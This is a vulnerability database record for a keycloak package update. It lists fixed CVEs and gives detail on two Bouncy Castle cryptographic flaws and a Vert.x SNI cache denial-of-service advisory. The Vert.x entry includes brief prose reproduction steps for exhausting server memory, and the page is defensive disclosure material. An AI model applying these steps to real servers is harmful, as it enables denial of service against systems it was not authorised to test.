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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:39
Summary
Security fixes in keycloak 26.4.10-r0
Details
Package keycloak version 26.4.10-r0 fixes 26 vulnerabilities: CVE-2026-42579, CVE-2026-42587, CVE-2026-42583, CVE-2026-42584, CVE-2026-33871...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.10-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"26.4.10-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package keycloak version 26.4.10-r0 fixes 26 vulnerabilities: CVE-2026-42579, CVE-2026-42587, CVE-2026-42583, CVE-2026-42584, CVE-2026-33871...",
"id": "CLEANSTART-2026-QW10501",
"modified": "2026-07-30T09:39:30Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in keycloak 26.4.10-r0",
"upstream": [
"CVE-2026-42579",
"CVE-2026-42587",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-33871",
"CVE-2026-33870",
"CVE-2026-39852",
"CVE-2026-1002",
"CVE-2026-5598",
"CVE-2026-0636",
"CVE-2026-5588",
"CVE-2026-42198",
"ghsa-cm33-6792-r9fm",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-57rv-r2g8-2cj3",
"ghsa-w9fj-cfpg-grvv",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-rc95-pcm8-65v9",
"ghsa-cphf-4846-3xx9",
"ghsa-3g76-f9xq-8vp6",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"ghsa-wg6q-6289-32hp",
"ghsa-98qh-xjc8-98pq",
"ghsa-72hv-8253-57qq"
]
}
CVE-2026-5588 (GCVE-0-2026-5588)
Vulnerability from cvelistv5 – Published: 2026-04-15 09:06 – Updated: 2026-07-16 12:04
VLAI
EPSS
VEX
Title
PKIX draft CompositeVerifier accepts empty signature sequence as valid.
Summary
Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules).
This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java.
This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
15 references
Impacted products
55 products
| Vendor | Product | Version | |
|---|---|---|---|
| Legion of the Bouncy Castle Inc. | BC-JAVA |
Affected:
1.67 , < 1.80.2
(maven)
Affected: 1.81 , < 1.81.1 (maven) Affected: 1.82 , < 1.84 (maven) |
|
| Legion of the Bouncy Castle Inc. | BCPKIX-FIPS |
Affected:
2.0.6 , < 2.0.11
(maven)
Affected: 2.1.7 , < 2.1.11 (maven) |
|
| Legion of the Bouncy Castle Inc. | BCPIX-LTS |
Affected:
2.73.7 , < 2.73.11
(maven)
|
|
| Red Hat | Red Hat AMQ Broker 7.12.7 |
cpe:/a:redhat:amq_broker:7.12 |
|
| Red Hat | Red Hat AMQ Broker 7.13.5 |
cpe:/a:redhat:amq_broker:7.13 |
|
| Red Hat | Red Hat Build of Apache Camel 4.14 for Quarkus 3.27 |
cpe:/a:redhat:apache_camel_quarkus:3.27 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14 |
cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.20.6.SP1 |
cpe:/a:redhat:quarkus:3.20::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.27.3.SP1 |
cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 |
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el8eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.40.0-6.redhat_00012.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.0.5-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.0.3-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:801.6.0-1.GA_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:1.0.3-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:33.0.0-3.jre_redhat_00004.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:3.7.19-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:6.6.48-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:7.2.6-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.1.4-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:3.6.2-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:16.1.0-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:4.0.6-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:4.1.132-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:3.6.1-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:3.1.12-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.2.21-5.redhat_00003.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:8.1.6-5.GA_redhat_00007.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:1.0.1-4.Final_redhat_00002.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.1.4-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:8.1.1-10.GA_redhat_00017.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:2.3.0-1.Final_redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:3.0.4-5.redhat_00007.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1779528224 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1779359423 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | OpenShift Developer Tools and Services |
cpe:/a:redhat:ocp_tools |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
Credits
Nicholas Carlini using Claude, Anthropic
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-5588",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-15T19:35:32.235455Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-15T19:35:40.662Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
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"cpes": [
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],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat AMQ Broker 7.12.7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat AMQ Broker 7.13.5",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_quarkus:3.27"
],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat Build of Apache Camel 4.14 for Quarkus 3.27",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk15on",
"product": "Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "unaffected",
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"product": "Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14",
"vendor": "Red Hat"
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{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat build of Quarkus 3.20.6.SP1",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat build of Quarkus 3.27.3.SP1",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "unaffected",
"packageName": "bcpkix-fips",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk15on",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat"
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{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk15to18",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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"defaultStatus": "unaffected",
"packageName": "bcpkix-jdk18on",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat"
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{
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"cpes": [
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"defaultStatus": "affected",
"packageName": "eap8-bouncycastle",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8",
"vendor": "Red Hat",
"versions": [
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"status": "unaffected",
"version": "0:1.84.0-1.redhat_00001.1.el8eap",
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},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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"defaultStatus": "affected",
"packageName": "eap8-activemq-artemis",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
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"status": "unaffected",
"version": "0:2.40.0-6.redhat_00012.1.el9eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
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],
"defaultStatus": "affected",
"packageName": "eap8-angus",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.0.5-1.redhat_00001.1.el9eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "eap8-angus-activation",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.0.3-1.redhat_00001.1.el9eap",
"versionType": "rpm"
}
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},
{
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"packageName": "eap8-bouncycastle",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
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},
{
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"cpes": [
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],
"defaultStatus": "affected",
"packageName": "eap8-eap-product-conf-parent",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:801.6.0-1.GA_redhat_00001.1.el9eap",
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}
]
},
{
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"cpes": [
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],
"defaultStatus": "affected",
"packageName": "eap8-guava-failureaccess",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.0.3-1.redhat_00001.1.el9eap",
"versionType": "rpm"
}
]
},
{
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"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "eap8-guava-libraries",
"product": "Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:33.0.0-3.jre_redhat_00004.1.el9eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
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CVE-2026-5598 (GCVE-0-2026-5598)
Vulnerability from cvelistv5 – Published: 2026-04-15 09:05 – Updated: 2026-07-30 12:04
VLAI
EPSS
VEX
Title
Non-constant time comparisons risk private key leakage in FrodoKEM.
Summary
Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules).
This vulnerability is associated with program files FrodoEngine.Java.
This issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/bcgit/bc-java/wiki/CVE%E2%80%9… | vendor-advisory |
| https://github.com/bcgit/bc-java/commit/94abbd564… | patch |
| https://github.com/bcgit/bc-java/commit/8692e6b2b… | patch |
| https://access.redhat.com/security/cve/CVE-2026-5598 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2458635 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:12267 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18054 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18055 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:12269 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18059 | vendor-advisoryx_refsource_REDHAT |
Impacted products
33 products
| Vendor | Product | Version | |
|---|---|---|---|
| Legion of the Bouncy Castle Inc. | BC-JAVA |
Affected:
1.71 , < 1.80.2
(maven)
Affected: 1.81 , < 1.81.1 (maven) Affected: 1.82 , < 1.84 (maven) |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7.4 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 8 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el8eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 9 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 |
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 8 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el8eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 9 |
Unaffected:
0:1.84.0-1.redhat_00001.1.el9eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | OpenShift Developer Tools and Services |
cpe:/a:redhat:ocp_tools |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apache Camel for Spring Boot 4 |
cpe:/a:redhat:camel_spring_boot:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 2 |
cpe:/a:redhat:debezium:2 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of Quarkus |
cpe:/a:redhat:quarkus:3 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
Credits
Cristina Dueñas Navarro (cristina.duenas@jtsec.es)
The Robusta team: Deepak Pillai, Anirban Chakraborty, Chitchanok Chuengsatiansup, Matthew Roughan, Peter Schwabe, and Yuval Yarom
Sunwoo Lee and Seunghyun Yoon, Korea Institute of Energy Technology (KENTECH)
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{
"name": "RHBZ#2458635",
"tags": [
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"x_refsource_REDHAT"
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"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458635"
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"value": "RHSA-2026:18054: Red Hat JBoss EAP 8.1 for RHEL 8"
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{
"lang": "en",
"time": "2026-04-15T09:05:56.277Z",
"value": "Made public."
}
],
"title": "bouncycastle: BC-JAVA: private key leakage via non-constant time comparisons",
"workarounds": [
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"lang": "en",
"value": "To mitigate this vulnerability, implement aggressive rate limiting and anomaly detection, specifically looking for unusual, high-frequency cryptographic handshake failures or anomalous traffic patterns targeting endpoints that handle key exchanges in the network logs."
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"x_adpType": "supplier",
"x_generator": {
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"cna": {
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{
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"defaultStatus": "unaffected",
"modules": [
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"packageName": "core",
"platforms": [
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"product": "BC-JAVA",
"programFiles": [
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"repo": "https://github.com/bcgit/bc-java",
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GHSA-3G76-F9XQ-8VP6
Vulnerability from github – Published: 2026-05-09 00:38 – Updated: 2026-06-02 22:07
VLAI
Summary
Vert.x has a DoS via unbounded server-side SNI SslContext cache growth
Details
Potential unbounded server-side SNI SslContext cache growth in Vert.x TLS handling, with = resource-exhaustion / DoS impact. On affected versions, matching server-side SNI names are cached via computeIfAbsent(serverName, ...) in a serverName-keyed SslContext cache.
The implementation differs slightly by branch, but the same sink appears to be present in released versions 4.3.4 through 5.0.11:
- 4.3.x: SSLHelper
- 4.4.x / 4.5.x: SslChannelProvider
- 5.0.x and current master: SslContextProvider
When server-side SNI is enabled and wildcard or otherwise broad hostname mappings are used, an unauthenticated client can send many distinct matching SNI names and cause the server to retain increasing numbers of SslContext entries over time, leading to increasing memory consumption and possible DoS conditions.
Steps to reproduce
- Configure a Vert.x server with
setSsl(true)andsetSni(true). - Use a keystore or mapping where many distinct SNI names match a wildcard or similarly broad rule.
- Send repeated connections with distinct matching SNI values.
- Observe that the SNI cache size grows with the number of unique matching names.
What are the affected versions?
Affected released versions confirmed on origin:
- 4.3.4 through 4.3.8
- 4.4.0 through 4.4.9
- 4.5.0 through 4.5.26
- 5.0.0 through 5.0.11
Not affected by the same sink:
- 4.0.x through 4.2.x
- 4.3.0 through 4.3.3
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.4"
},
{
"last_affected": "4.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0"
},
{
"last_affected": "4.4.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.26"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.0"
},
{
"fixed": "4.5.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.11"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6860"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-09T00:38:30Z",
"nvd_published_at": "2026-05-06T10:16:26Z",
"severity": "MODERATE"
},
"details": "Potential unbounded server-side SNI `SslContext` cache growth in Vert.x TLS handling, with = resource-exhaustion / DoS impact. On affected versions, matching server-side SNI names are cached via `computeIfAbsent(serverName, ...)` in a serverName-keyed `SslContext` cache.\n\nThe implementation differs slightly by branch, but the same sink appears to be present in released versions `4.3.4` through `5.0.11`:\n- `4.3.x`: `SSLHelper`\n- `4.4.x` / `4.5.x`: `SslChannelProvider`\n- `5.0.x` and current `master`: `SslContextProvider`\n\nWhen server-side SNI is enabled and wildcard or otherwise broad hostname mappings are used, an unauthenticated client can send many distinct matching SNI names and cause the server to retain increasing numbers of `SslContext` entries over time, leading to increasing memory consumption and possible DoS conditions.\n\n## Steps to reproduce\n\n1. Configure a Vert.x server with `setSsl(true)` and `setSni(true)`.\n2. Use a keystore or mapping where many distinct SNI names match a wildcard or similarly broad rule.\n3. Send repeated connections with distinct matching SNI values.\n4. Observe that the SNI cache size grows with the number of unique matching names.\n\n## What are the affected versions?\n\nAffected released versions confirmed on `origin`:\n- `4.3.4` through `4.3.8`\n- `4.4.0` through `4.4.9`\n- `4.5.0` through `4.5.26`\n- `5.0.0` through `5.0.11`\n\nNot affected by the same sink:\n- `4.0.x` through `4.2.x`\n- `4.3.0` through `4.3.3`",
"id": "GHSA-3g76-f9xq-8vp6",
"modified": "2026-06-02T22:07:06Z",
"published": "2026-05-09T00:38:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-3g76-f9xq-8vp6"
},
{
"type": "ADVISORY",
